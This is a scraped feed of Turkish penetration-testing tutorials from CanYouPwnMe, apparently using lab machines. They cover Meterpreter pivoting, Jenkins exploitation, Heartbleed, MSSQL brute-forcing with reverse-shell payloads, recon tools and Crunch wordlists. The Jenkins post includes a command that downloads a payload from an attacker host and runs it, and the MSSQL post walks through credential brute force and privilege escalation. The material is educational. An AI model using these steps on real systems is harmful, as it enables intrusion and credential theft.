aktif routing tablosunu görmek için aşağıdaki komutu kullanabiliriz.

run autoroute -p

pivoting-autoroute-p

Artık aradaki iletişimi sağladık, pivoting tamamlandı.
Portscan via Meterpreter

Routing yaptık, ancak bu bacakta hangi makinada hangi portlar açık tespit etmemiz gerekiyor, bunun için;
“background” komutunu vererek Metasploit’e dönüyoruz.

use auxiliary/scanner/portscan/tcp

Metasploit’in nimetlerinden biraz daha faydalanarak tcp port scanner yardımcı aracını çalıştırıyoruz.

pivoting-portscan

192.168.56.1 – 192.168.56.255 IP aralığındaki tüm makinalarda 1 ile 100 arasındaki portları tarayacak şekilde yapılandırdıktan sonra “run” komutu vererek başlatıyoruz.

Bu şekilde bütün IP aralığını ve 100 portu ayrı ayrı tarattırmak biraz uzun süreceği için arka taraftaki bir makinanın IP adresini ve 80 portunu vererek çalıştırıyorum;

pivoting-portscan80

Görüldüğü gibi tarama sonuçlandığında 192.168.56.102 IP adresinde 80 portunun açık olduğunu söylüyor ancak bu servise erişebilmek için 80 portunu kendi makinamızda boş bir porta yönlendirmemiz gerekiyor.

Meterpreter Sessiona geri dönüyoruz.

Port Forwarding

192.168.56.102 makinasının 80 portunu kendimizin (localhost / 127.0.0.1) 8080 portuna yönlendireceğiz.

portfwd add -l [local port] -p [remote port] -r [remote host]

pivoting-portfwd

Şimdi hedef (192.168.56.102) makinanın 80 portuna erişmek için tek yapmamız gereken local 8080 portumuza gitmek olacak.

pivoting-8080

Görüldüğü gibi 192.168.56.102 IP adresine sahip makinanın 80 portunda çalışan servise localhostumuzun 8080 portu üzerinden erişebiliyoruz. Bu servisin zafiyetli bir servis olduğunu var sayarsak ve exploit etmek istediğimiz düşünürsek;

Reverse Shell / Bind Shell

Reverse Shell : Hedef makinadan bize gelen bağlantı.
Bind Shell : Bizden hedef makinaya giden bağlantı.

Routing işlemini tek taraflı meterpreter session üzerinden yaptık yani arkada ki makina bize nasıl ulaşacağını hala bilmiyor, sadece biz ona nasıl ulaşabileceğimizi biliyoruz. Arkadaki makinanın bir servisini exploit etmek için, exploitimze ekleyeceğimiz Metasploit payloadı “bind” olmak zorunda.

TR | How to Pivoting & Portfwd Hakkı YÜCE

]]>
https://canyoupwn.me/how-to-pivoting-port-forwarding/feed/ 0
TR | How To Exploit Jenkins https://canyoupwn.me/tr-how-to-exploit-jenkins/ https://canyoupwn.me/tr-how-to-exploit-jenkins/#respond Fri, 15 Apr 2016 06:30:28 +0000 https://canyoupwn.me/?p=1676 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Jenkins geliştirme süreçlerini otomatikleştirmeye yarayan ve genelde 8080 portunda çalışan bir uygulamadır. Jenkinste script bölümü vardır ve buraya yazılan scriptleri otomatik olarak çalıştırır. Bu anlatımımda Canyoupwn.me ekibi olarak hazırlamış olduğumuz içinde zafiyetleri barındıran ve bunlardan biriside Jenkins zafiyeti olan Kevgir’den yararlandım. IP adresi 192.168.79.143 olarak bildiğim Kevgir’i nmap aracıyla açık servis ve portlarını tarıyorum. nmap […]

TR | How To Exploit Jenkins Mert Gücü

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Jenkins geliştirme süreçlerini otomatikleştirmeye yarayan ve genelde 8080 portunda çalışan bir uygulamadır. Jenkinste script bölümü vardır ve buraya yazılan scriptleri otomatik olarak çalıştırır.

Bu anlatımımda Canyoupwn.me ekibi olarak hazırlamış olduğumuz içinde zafiyetleri barındıran ve bunlardan biriside Jenkins zafiyeti olan Kevgir’den yararlandım.

IP adresi 192.168.79.143 olarak bildiğim Kevgir’i nmap aracıyla açık servis ve portlarını tarıyorum.

nmap –sT 192.168.79.143 –p 8080,9000 –A  komut ile 8080 ve 9000 numaralı portları taradım.

Çıkan sonucu incelediğimizde 8080 Portunda Apachi Tomcatin çalıştığını, 9000 portunda ise Jenkinsin çalıştığını gördük. Port taramalarında servis taramalarının önemini burada bir kez daha görmüş olduk. Her ne kadar Jenkins genelde 8080 portundada çalışsa da burada başka bir port üzerinde çalıştığını görmüş olduk.

jenkins_1

İkinci aşamada web portalı üzerinden Jenkinsin script paneline erişim sağlamalıyız. Bunun için ilgili ip adresi ve portu yazmalıyız.

192.168.79.143:9000/script adresine gittiğimizde bizi bir login paneli karşılamakta.

Jenkins_2

Metasploit aracı ile panele şifre denemesi yapacağız. Bunun için metasploit üzerinde jenkinsle ilgili hangi araçları kullanacağımızı bilmemiz gerekiyor. Eğer yeterli bilgiye sahip değilsek search jenkins

komutu ile metasploit içerisinde bulunan jenkinse ait uygulamaları görebiliriz. Biz jenkins_login’i kullanacağız.

jenkins_3

Gerekli bilgileri veridğimizde kullanıcı adı ve parolayı bulduk.

Simdi web portalından script alanına giriş yapabiliriz.

Payload hazırlamak ve çalıştırmak için yine metasploit içinde bulunan web_delivery’den yararlanacağız.

jenkins_4

http://192.168.79.140:8080/6hP4nFP0Fw9’  içine bir python ile oluşturulmuş payload oluşturdu ve biz bu payload’u jenkinsin script modülünden çalıştırmamız gereklidir.

jenkins_5

Öncelikli olarak “wget http://192.168.79.140:8080/6hP4nFP0Fw9 -O /root/Desktop/jenkins_payload”.execute() komutu ile payloadu indiriyoruz ve kaydediyoruz. Ardından;

python /root/Desktop/jenkins_payload.execute()

komutu ile indirdiğimiz payloadu çalıştırıyoruz.

jenkins_6

Web_delivery üzerinden takip ettiğimizde sessionu aldığımızı göreceksiniz.

TR | How To Exploit Jenkins Mert Gücü

]]>
https://canyoupwn.me/tr-how-to-exploit-jenkins/feed/ 0
TR | Dshell Forensic Framework ile Network Paketi Analizi https://canyoupwn.me/dshell-forensic-framework-ile-network-paketi-analizi/ https://canyoupwn.me/dshell-forensic-framework-ile-network-paketi-analizi/#respond Thu, 14 Apr 2016 06:30:06 +0000 https://canyoupwn.me/?p=1524 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Dshell Nedir Dshell, bir ağ adli analizi yapmayı sağlayan uygulama çatısıdır. Ağ paketlerini yakalayıp onların incelenmesi için kullanılmaktadır. Bu analiz esnasında kullanılabilecek farklı eklentileri desteklemektedir. Bu sayede genişletilebilir bir yapısı vardır. US Army Research Lab tarafından Python dili kullanılarak geliştirilmiştir. Dshell Forensic Framework’e aşağıdaki Github linkinden erişilebilir. https://github.com/USArmyResearchLab/Dshell Gereksinimler ve Kurulum Dshell Forensic Framework aşağıdakilere […]

TR | Dshell Forensic Framework ile Network Paketi Analizi CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Dshell Nedir

Dshell, bir ağ adli analizi yapmayı sağlayan uygulama çatısıdır. Ağ paketlerini yakalayıp onların incelenmesi için kullanılmaktadır. Bu analiz esnasında kullanılabilecek farklı eklentileri desteklemektedir. Bu sayede genişletilebilir bir yapısı vardır. US Army Research Lab tarafından Python dili kullanılarak geliştirilmiştir. Dshell Forensic Framework’e aşağıdaki Github linkinden erişilebilir.

https://github.com/USArmyResearchLab/Dshell

Gereksinimler ve Kurulum

Dshell Forensic Framework aşağıdakilere gereksinim duymaktadır:

  • Linux (Ubuntu 12.04 üzerinde geliştirilmiştir)
  • Python 2.7
  • pygeoip (GNU Lesser GPL, MaxMind GeoIP Legacy datasets)
  • PyCrypto (Custom License)
  • dpkt (New BSD License)
  • IPy (BSD 2-Clause License)
  • pypcap (New BSD License)
  • elasticsearch-py (Apache License, Version 2.0 – Elasticout çıktısı almak için kullanılır, kurulumu isteğe bağlı)

Gereksinim duyduğu paketleri aşağıdaki komut ile kurabilirsiniz:

sudo apt-get install python-pypcap python-ipy python-dpkt python-crypto
sudo pip install pygeoip elasticsearch

Github üzerinden Dshell aşağıdaki gibi clonlanır ve kurulur:

git clone https://github.com/USArmyResearchLab/Dshell.git
cd Dshell
python install-ubuntu.py

 

Kurulumda yapılması gereken bir işlem de pygeoip modülünün yapılandırılmasıdır. Bunun için MaxMind dosyalarının (GeoIP.dat, GeoIPv6.dat, GeoIPASNum.dat, GeoIPASNumv6.dat) yani coğrafi konum dosyalarının uygulamanın kurulu olduğu konumda bulunan /share/GeoIP/ (<kurulum-dizini>/share/GeoIP/) dizinine yerleştirilmelidir.

Son olarak aşağıdaki komut ile Dshell başlatılır.

./dshell

Basit Kullanım

decode -h

Kullanılabilir özellikler için yardım listesini gösterir.

decode -l

Kullanılabilir decoderleri özet bilgi vererek listeler.

decode -d <decoder>

Bir decoder hakkında bilgi verir.

decode -d <decoder> <pcap>

Seçilen decoderi belirtilen pcap dosyası için uygular.

Kullanılabilir decoderlerin listesi aşağıdaki gibidir:

decode -l

dshell modules

Örnekler

Bu örneklerde kullanılan pcap (ağ trafiği) dosyalarına aşağıdaki bağlantıdan ulaşabilirsiniz:

https://wiki.wireshark.org/SampleCaptures#General_.2F_Unsorted
  • Bir pcap dosyası içerisinde geçen DNS sorgularını görmek için dns modülü kullanılır. Örneğin aşağıdaki gibi bir çıktı elde edilir:

dshell dns

  • Bir network akışını reassemble edilmiş halde görmek için kullanılabilecek modül followstream modülüdür. Bu modüle ait örnek ekran görüntüsü aşağıdaki gibidir:

dshell followstream

  • HTTP oturumları hakkında bilgi almak için de kullanılabilecek olan modül httpdump modülüdür. Bu modüle ait örnek ekran görüntüsü de aşağıdaki gibidir:

dshell httpdump

Dshell Forensic Framework ile ayrıca ağ trafiğinde indirilmiş herhangi bir flash dosyasının tespit edilmesi, cryptolocker türevi bir uygulama tespiti, 5 dakikadan uzun süren bağlantılar veya 1MB’tan büyük veri transferi olan akışlar gibi bir çok farklı analiz işlemi gerçekleştirilebilir. Tüm bu özelliklere yukarıda da gösterilen modül listesinden erişilebilir. İhtiyaca uygun olanı kullanarak analizinizi gerçekleştirebilirsiniz. İsterseniz kendi modülünüzü yazıp Dshell’e entegre ederek kullanabilirsiniz.

TR | Dshell Forensic Framework ile Network Paketi Analizi CanYouPwnMe

]]>
https://canyoupwn.me/dshell-forensic-framework-ile-network-paketi-analizi/feed/ 0
TR | Scapy ile SSID Toplama https://canyoupwn.me/tr-scapy-ile-ssid-toplama/ https://canyoupwn.me/tr-scapy-ile-ssid-toplama/#respond Thu, 31 Mar 2016 23:27:02 +0000 https://canyoupwn.me/?p=1385 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıda amacımız etraftaki kablosuz ağların SSID bilgilerini toplamaktır. Bu kapsamda Beacon paketleri Probe Request paketleri Probe Response paketleri toplanacaktır. Çünkü SSID bilgilerini bu 3 paket içerisinde bulabiliriz. Kodu yazarken kullanacağımız modüller: scapy (paketleri sniff etmek için) termcolor (çıktıları renklendirmek için) os (terminal ekranını temizlemek için) NOT !: SSID toplama sürecinde dikkat etmemiz gereken en önemli durum […]

TR | Scapy ile SSID Toplama Besim ALTINOK

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıda amacımız etraftaki kablosuz ağların SSID bilgilerini toplamaktır. Bu kapsamda

  • Beacon paketleri
  • Probe Request paketleri
  • Probe Response paketleri

toplanacaktır. Çünkü SSID bilgilerini bu 3 paket içerisinde bulabiliriz.

Kodu yazarken kullanacağımız modüller:

  • scapy (paketleri sniff etmek için)
  • termcolor (çıktıları renklendirmek için)
  • os (terminal ekranını temizlemek için)

NOT !: SSID toplama sürecinde dikkat etmemiz gereken en önemli durum kullandığımız kablosuz ağ adaptörünü yayın yapılan kanallar arasında belli zaman aralıklarında değiştirip, bütün kanallarda bu işlemin yapılmasını sağlamaktır.

Bu nedenle ChannelHop() adında bir fonksiyon yazıldı ve belli zaman aralıklarında kanal numarası değiştirildi.

Ekran Resmi 2016-04-01 02.04.40

Sonuç

Ekran Resmi 2016-04-01 02.05.51

İşlem için kullanılan kod :

TR | Scapy ile SSID Toplama Besim ALTINOK

]]>
https://canyoupwn.me/tr-scapy-ile-ssid-toplama/feed/ 0
TR | How to exploit Heartbleed with Metasploit https://canyoupwn.me/heartbleed-acigi-metasploit-yardimiyla-kullanilmasi/ https://canyoupwn.me/heartbleed-acigi-metasploit-yardimiyla-kullanilmasi/#respond Mon, 07 Mar 2016 07:02:44 +0000 https://canyoupwn.me/?p=996 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhaba arkadaşlar aslında bugünlerde bu zafiyete sıklıkla rastlanmaz ancak her eski zafiyet gibi bir çok sistemde de bulunması muhtemel. Heartbleed Zafiyeti Nedir ? HTTPS den bahsedersek.Kısaca sizin gönderdiğiniz verilerin çok güçlü bir şifreleme metoduyla şifrelenmesi anlamına gelir. Bu da bağlantılarda sunucu ile aranıza giricek kişilerin sizden herhangi bir veri yakalayamayacağı anlamına gelir. Bankalar, Facebook, Twitter, […]

TR | How to exploit Heartbleed with Metasploit Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhaba arkadaşlar aslında bugünlerde bu zafiyete sıklıkla rastlanmaz ancak her eski zafiyet gibi bir çok sistemde de bulunması muhtemel.

Heartbleed Zafiyeti Nedir ?

HTTPS den bahsedersek.Kısaca sizin gönderdiğiniz verilerin çok güçlü bir şifreleme metoduyla şifrelenmesi anlamına gelir. Bu da bağlantılarda sunucu ile aranıza giricek kişilerin sizden herhangi bir veri yakalayamayacağı anlamına gelir. Bankalar, Facebook, Twitter, Bir çok büyük kuruluş hatta farkettiyseniz canyoupwn.me adresinde de kullanılıyor.

Bakın yukarıda verdiğim örnekler arasında bankalar, alışveriş siteleri var ve bu katmanda çıkacak herhangi bir açığın ne denli önemli olabileceğini düşünebiliyor musunuz ? Heartbleed açığı da o yüzden bu kadar ses getirmişti. Hatta o dönem The Fappening olayıyla çoğu ünlünün fotoğrafları internete düştüğünde bunun gerisinde kalmıştı en azından güvenlik sektöründe…

Not:Öncelikle bu açık sayesinde hafızadan rastgele bilgiler çekilir, her zaman başarıya ulaşamayabilirsiniz.
Şimdi lafı uzatmadan yapılacak işlemleri görelim.
İlk önce hedef sisteme bir port taraması yapılması gerekiyor ancak NSE scripti ile birlikte yapılırsa daha sağlıklı sonuç alınacaktır.

nmap -sV --script=ssl-heartbleed hedefIP 

Bu scripti ilk kez kullanıyorsanız sizde de büyük ihtimal aşağıda ki gibi bir hata vericektir.
Seçim_013

Bu hatayı çözmek için öncelikle aşağıda ki adrese girip nmap scriptini indirelim.

https://nmap.org/nsedoc/scripts/ssl-heartbleed.html 

Seçim_014

Daha sonra bu scripti yukarıda gördüğünüz gibi:

 /usr/share/nmap/scripts 

içine atın.

Bunu ister terminal ile istersenizde file browser ile atabilirsiniz.
Şimdi hadi scripti kullanarak taratalım.
Seçim_016

Gördüğünüz gibi 3443 portunda çalışan ssl/http portunda ssl-heartbeed zafiyeti var. 3443 portunu aklınızda tutun lazım olucak 🙂

Şimdi bizim için işleri otomatikleştiren ve kolaylaştıran Metasploit Framework’u açıyoruz . Terminale msfconsole yazabilirsiniz.

Seçim_017

Metasploit’e giriş yaptıkdan sonra “search heartbleed” yazıp kullanabiliceğimiz araçları görebilirsiniz.
Seçim_018

use auxiliary/scanner/ssl/openssl_heartbleed 

aracımıza girdikten sonra show options yazıyoruz ve aşağıda ki komutları giriyoruz.

set rhosts hedefIP 
set verbose true 
set rport 3443 

Ardından “run” komutunu çalıştırarak auxiliary aracını tetikliyoruz.

Seçim_019

Server tarafından hafızadan çekilen (leak) edilen veriyi görüyorsunuz.
Tekrar hatırlatmak isterim :
Not:Öncelikle bu açık sayesinde hafızadan rastgele bilgiler çekilir her zaman başarıya ulaşamayabilirsiniz.

TR | How to exploit Heartbleed with Metasploit Enes ERGÜN

]]>
https://canyoupwn.me/heartbleed-acigi-metasploit-yardimiyla-kullanilmasi/feed/ 0
TR | Discover Nedir, Nasıl Kullanılır ? https://canyoupwn.me/tr-discover-nedir-nasil-kullanilir/ https://canyoupwn.me/tr-discover-nedir-nasil-kullanilir/#respond Sun, 28 Feb 2016 12:46:53 +0000 https://canyoupwn.me/?p=781 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Discover bilgi güvenliği testleri ve sızma testlerinin en önemli aşaması olarak varsayılan, bilgi toplama aşaması için kullanılan ve içinde The Harvester, Dnsrecon, Nikto gibi birçok önemli uygulamayı bir araya toplayan oldukça kullanışlı bir uygulamadır. Peki ben bunu nerden bulurum, nasıl kurarım? Açık kaynak kodlu şekilde githubta yayınlanmış olan discoverı, /opt klasörünün altında /discover klasörü oluşturacak şekilde […]

TR | Discover Nedir, Nasıl Kullanılır ? Mert Gücü

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Discover bilgi güvenliği testleri ve sızma testlerinin en önemli aşaması olarak varsayılan, bilgi toplama aşaması için kullanılan ve içinde The Harvester, Dnsrecon, Nikto gibi birçok önemli uygulamayı bir araya toplayan oldukça kullanışlı bir uygulamadır.

Peki ben bunu nerden bulurum, nasıl kurarım?

discover1

Açık kaynak kodlu şekilde githubta yayınlanmış olan discoverı, /opt klasörünün altında /discover klasörü oluşturacak şekilde yazdırıyoruz.

2

/opt klasörünün içinde klasör yapısına baktığımızda discover uygulamamızın indiğini göreceğiz. Baktığımızda çalıştırmaya hazır bir şekilde bizi bekliyor.

./discover.sh komutuyla çalıştırıyoruz ve artık hedefimiz hakkında bilgi toplamaya başlayabiliriz.

İlk adım olarak pasif taramayla hedefimiz hakkında bilgi toplamaya başlayalım. 1. Menüyü seçiyoruz.3

Tekrar 1. Seçeneği seçip pasif taramayı başlatmamız gerekecektir.

4

Testlerimizi yapacağımız kurumun adını ve domain adresini yazıyoruz. Sadece bilgi içerikli bir yazı olduğundan Google’n pasif bilgilerini toplayacağım. Bu bilgiler internetten araştırarakta bulabileceğiniz bilgiler olduğundan dolayı yasaldır.

5

Taramamız bittiğinde datalarımızın kaydolduğu klasör yapısını bizimle paylaşmaktadır.

6

Verilerimizin bulunduğu /root/data/www.google.com dizinin içinde verilerimize ulaşabileceğimiz index.htm bulunmaktadır.

7

Tarayıcımızı açıp url kısmına uzantımızı yazdığımızda karşımıza bir arayüz gelmektedir. Reports sekmesi altından Passive Recon’u seçerek elde ettiğimiz bilgilerin toplu listesine ulaşabiliriz.8

9

10

Gördüğünüz gibi Domain, subdomain, who is, mail, döküman listesi gibi bir çok bilgiye dakikalar sonra ulaşabildik.

Pasif bilgi toplama dışında 13. Menüden Metasploit’in içinde bulunan multi/handler aracınıda otomatik olarak başlatabiliyoruz.

11

Aynı zamanda 7. Menüyü kullanarakta Nmap üzerinden port taramaları yapmak mümkündür.

12

Gördüğünüz gibi tek bir uygulama üzerinden bir çok bilgi toplama işlemini dakikalar içerisinde yaptık. İçerisinde bulunan diğer modülleride kullanmamız mümkündür.

TR | Discover Nedir, Nasıl Kullanılır ? Mert Gücü

]]>
https://canyoupwn.me/tr-discover-nedir-nasil-kullanilir/feed/ 0
TR | How to exploit MSSQL with Metasploit https://canyoupwn.me/tr-how-to-exploit-mssql-with-metasploit/ https://canyoupwn.me/tr-how-to-exploit-mssql-with-metasploit/#respond Sun, 28 Feb 2016 07:00:32 +0000 https://canyoupwn.me/?p=797 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Açıklamalar: Test sunucusu olarak MSSQL 2005 kullanılmıştır.Burada ki bilgiler tamamen teoriktir.Uygulama kısımları ise pekiştirme amacıyla kullanılmıştır.Farklı senaryolarla karşılaşabilme ihtimaliniz yüksektir burada iş tamamen size düşüyor. Hadi başlayalım. İlk yapmamız gereken iş tabi ki sistem de bi tarama yapmamız gerek ve biz ne yapıyoruz ? Nmap dediğinizi duyar gibiyim hayır nmap ile taramıyoruz hemen metasploit’e giriyoruz.Metasploit’e […]

TR | How to exploit MSSQL with Metasploit Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Açıklamalar: Test sunucusu olarak MSSQL 2005 kullanılmıştır.Burada ki bilgiler tamamen teoriktir.Uygulama kısımları ise pekiştirme amacıyla kullanılmıştır.Farklı senaryolarla karşılaşabilme ihtimaliniz yüksektir burada iş tamamen size düşüyor.

Hadi başlayalım.

İlk yapmamız gereken iş tabi ki sistem de bi tarama yapmamız gerek ve biz ne yapıyoruz ? Nmap dediğinizi duyar gibiyim hayır nmap ile taramıyoruz hemen metasploit’e giriyoruz.Metasploit’e terminal üzerinden girmek için hemen

 msfconsole 

yazıyoruz.Daha sonra mssql serverın bilgilerini vericek scanner’ı açmamız gerekiyor.Durmuyoruz hemen yazıyoruz

 use auxiliary/scanner/mssql/mssql_ping 

Metasploit de ilk yapmamız gerekenler nelerdi ? Hemen Show options yazıyoruz.
mssqllogin

 

Burada metasploit için kesin gerekli olan satırları required altında görebiliyoruz.
Biz burada

set rhosts 192.168.1.3 

yazarak RHOSTS›u ayarlıyoruz.Daha sonra eğer tüm ağı tarıyacaksanız

set threads 10 

yazıyoruz.
Tüm ağdan örnek : 192.168.1.0/24
Ve run yazıp sonuçlarımıza bakıyoruz.

mssqlping

 

Bakın sonuçlar hemen önümüze çıktı.Ama burada bize herhangi bir port vermiyor ? Neden çünkü ben MSSQL’i network share olarak açmadım. Birde aşağıda ki resime bakalım.
mssqllogin2
Bakın burada TCP kısmında 1433 yazıyoruz.Bu bizim saldıracağımız kurban mssql server ‘ ının çalıştığı portudur.(Default Port)

Bu kısımdan sonra yapmamız gereken şey MSSQL server da yetkili bir abi olmak veya yetkili bir abinin kullanıcı adı ve şifresini bulmak.

Burada yine imdadımıza metasploit yetişiyor.

Hemen terminal ekranına

use auxiliary/scanner/mssql/mssql_login 

Not:Burada bruteforce(Kaba kuvvet) kullanıcaz.Yani bu olayın başarısı tamamen sizin elinizde ki wordlist in başarısı kadardır.

Wordlist oluşturmak için : Crunchbang kullanabilirsiniz.Sitede konusunu bulabilirsiniz.

mssql_login ayarlarını görmek için ise yine Show Options diyoruz.

mssqllogin4

 

Burada bruteforce speed wordlist inizin ne kadar hızlı bir şekilde deneniceğini belirtir.Biz 5 ayarlıyoruz.Sırasıyla şu ayarlamalarımızı yapıyoruz.

set pass_file passkeyword.txt
set user_file usernamekeyword.txt
set rhosts 192.168.1.3
set rport 1433

Ve run diyoruz.

Sonuç :

success

 

Yeşil renkte ki satır bize username ile password ü bulunmuş olduğunu gösteriyor.

Zaten bundan sonrası çorap söküğü gibi gelicektir.Hemen bakalım.
Yine metasploit consol ‘ a

use exploit/windows/mssql/mssql_payload

yazıyoruz ve ne yapıyorduk ?! Tabi ki show OPTIONS

mspayload
Burada az önce brute force ile bulmuş olduğumuz değerleri yazıcaz.Hemen alt alta yazılan komutları verelim.

set PASSWORD 369874125
set USERNAME sa
set RHOST 192.168.1.3
set RPORT 1433

Peki sadece bunlar yeterli mi ? Tabi ki de hayır.Meterpreter oturumuna erişebilmek için payload load etmemiz gerekicek.O yüzden

set payload windows/meterpreter/reverse_tcp

yazıyoruz ve exploit diyoruz.
payloadsuccess

Buradan sonra meterpreter session ‘ ı açılıyor.

Meterpreter hakkında bilgi için : Yine sitemizde konusu bulunuyor buradan yardım alabilirsiniz.

meterpreter

Karşıda ki sunucunun C: sürücüsündeyiz.Peki örnek olması açısından ne yapabiliriz ? Hiçbir şey! Şaka tabi ki artık sistem elinizde neden birşey yapamayasınız ki.

Ben örnek olarak C: sürücüsünde enes diye klasör oluşturup içine enes diye bir txt dosyası attım.( Yok öyle trojan , worm atmak )
uploadfile
mkfile
Not:Meterpreter.txt dosyasını atmıştım fakat ismini değiştirdim.
Neden worm trojan atamayız ? Veya bir exe ? Mode kısmında görebilirsiniz. ( Executable terimi hatırlatıcı olsun.)
Şimdi sisteme ulaştık fakat görüceksiniz ki çoğu yetkiniz yok ? Ne yapmamız gerekiyor ? Eğer domain yapısı kullanılıyor ise Meterpreter den cmd (Command Prompt ) ye ulaşabilir ve admin group olarak bir kullanıcı ekleyebilirsiniz.

Bu kısımdan sonrası tamamen size kalmıştır örnek olması açısından sadece resimler eklenicektir.
Ama biz ne yapıyoruz ? Özel yetkiler almaya çalışıyoruz.(Alamadı)
Not:Çeşitli yetkiler alabilmek için meterpreter oturumunu arkaplana atabilirsiniz.
getpriv1

Bypassuac denedim fakat başarılı olamadım o yüzden ms10_015_kitrap0d exploitini denemeye karar verdim.

getprivsuccess

Exploitimiz başarılı oldu ama session oluşturamadık.Yani başaramadım ama eminim siz başaracaksınız.

 

TR | How to exploit MSSQL with Metasploit Enes ERGÜN

]]>
https://canyoupwn.me/tr-how-to-exploit-mssql-with-metasploit/feed/ 0
TR | Crunch ile Wordlist Oluşturma https://canyoupwn.me/tr-how-to-create-wordlist-with-crunch/ https://canyoupwn.me/tr-how-to-create-wordlist-with-crunch/#respond Sat, 06 Feb 2016 11:02:34 +0000 http://canyoupwn.me/?p=356 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Wordlist oluşturmak için kullanacağımız Crunch aracını eğer sisteminizde yoksa bağlantıdan indirip kurabilirsiniz. Kurulum tamamlandıktan sonra; Aracımızı çalıştırmak için; crunch Temel parametrelerimizi incelemek gerekirse; crunch <min> <max> <char> -t <pattern> -o <filename.lst> “min” ve “max” değerleri hangi karakter aralığında kelime üretmek istiyorsak onu giriyoruz. “char” tahminler içerisinde hangi karakterler bulunmasını istiyorsak onları girdiğimiz parametre. “pattern” belli bir […]

TR | Crunch ile Wordlist Oluşturma Mustafa Kaan Demirhan

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Wordlist oluşturmak için kullanacağımız Crunch aracını eğer sisteminizde yoksa bağlantıdan indirip kurabilirsiniz. Kurulum tamamlandıktan sonra;

  • Aracımızı çalıştırmak için;
crunch

1

  • Temel parametrelerimizi incelemek gerekirse;
crunch <min> <max> <char> -t <pattern> -o <filename.lst>
  1. “min” ve “max” değerleri hangi karakter aralığında kelime üretmek istiyorsak onu giriyoruz.
  2. “char” tahminler içerisinde hangi karakterler bulunmasını istiyorsak onları girdiğimiz parametre.
  3. “pattern” belli bir başlangıç yada bitiş düzeni istiyorsak onu bu parametrede belirtmemiz gerekiyor. “-t” parametresi belli bir düzen belirtmek için kulanıyoruz.
  4. “filename.lst” de dosyayı kaydederken kullanacağı adı belirliyoruz.
  5. “-o” dosyayı kaydetmek için.

 

  • Crunch dahilinde gelen karakter listelerinden yararlanadabiliriz;
numeric: [0123456789]
ualpha: [ABCDEFGHIJKLMNOPQRSTUVWXYZ]
lalpha: [abcdefghijklmnopqrstuvwxyz]
ualpha-numeric: [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
lalpha-numeric: [abcdefghijklmnopqrstuvwxyz0123456789]
mixalpha:[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
mixalpha-numeric:[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mixalpha-numeric-all-space:[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ] 

Örnekler üzerinden yola çıkarsak;

  • Hazır karakter listelerini kullanarak, örneğin “lalpha-numeric” karakter listesiyle 6 ile 9 karakterden oluşan wordlisti olşturmak için;
crunch 6 9 -f charset.lst lalpha-numeric -o test.txt 
  • 7 karakterden oluşacak “ali0123456789” karakterleri bulunan ve “a” ile başlayan bir wordlist oluşturmak istiyorsak;
crunch 7 7 ali0123456789 -t a@@@@@@ -o aliswordlist.lst 
  • 6/14 karakter arasında olan içinde “ahmet6193gw72.” karahterleri bulunan bir wordlist oluşturmak için;
 crunch 6 14 ahmet6193gw72. -o wordlist.lst
  • İçinde “.,(]123456789” karakterleri barındıran 7 basamaklı wordlist oluşturmak için;
crunch 7 7 .,(]123456789 -o passlist.txt 

komutlarından yararlanabiliriz.

Kullanım amacınıza veya yerinize göre istediğiniz şekilde wordlistler oluşturabilirsiniz. Wordlistinizin uzunluğu/kapsamı ne kadar artarsa hedefinize ulaşma ihtimaliniz de oranda artacaktır, diğer yandan ise işlem sürenizin de artacağını göz önünde bulundurmalısınız.

 

 

TR | Crunch ile Wordlist Oluşturma Mustafa Kaan Demirhan

]]>
https://canyoupwn.me/tr-how-to-create-wordlist-with-crunch/feed/ 0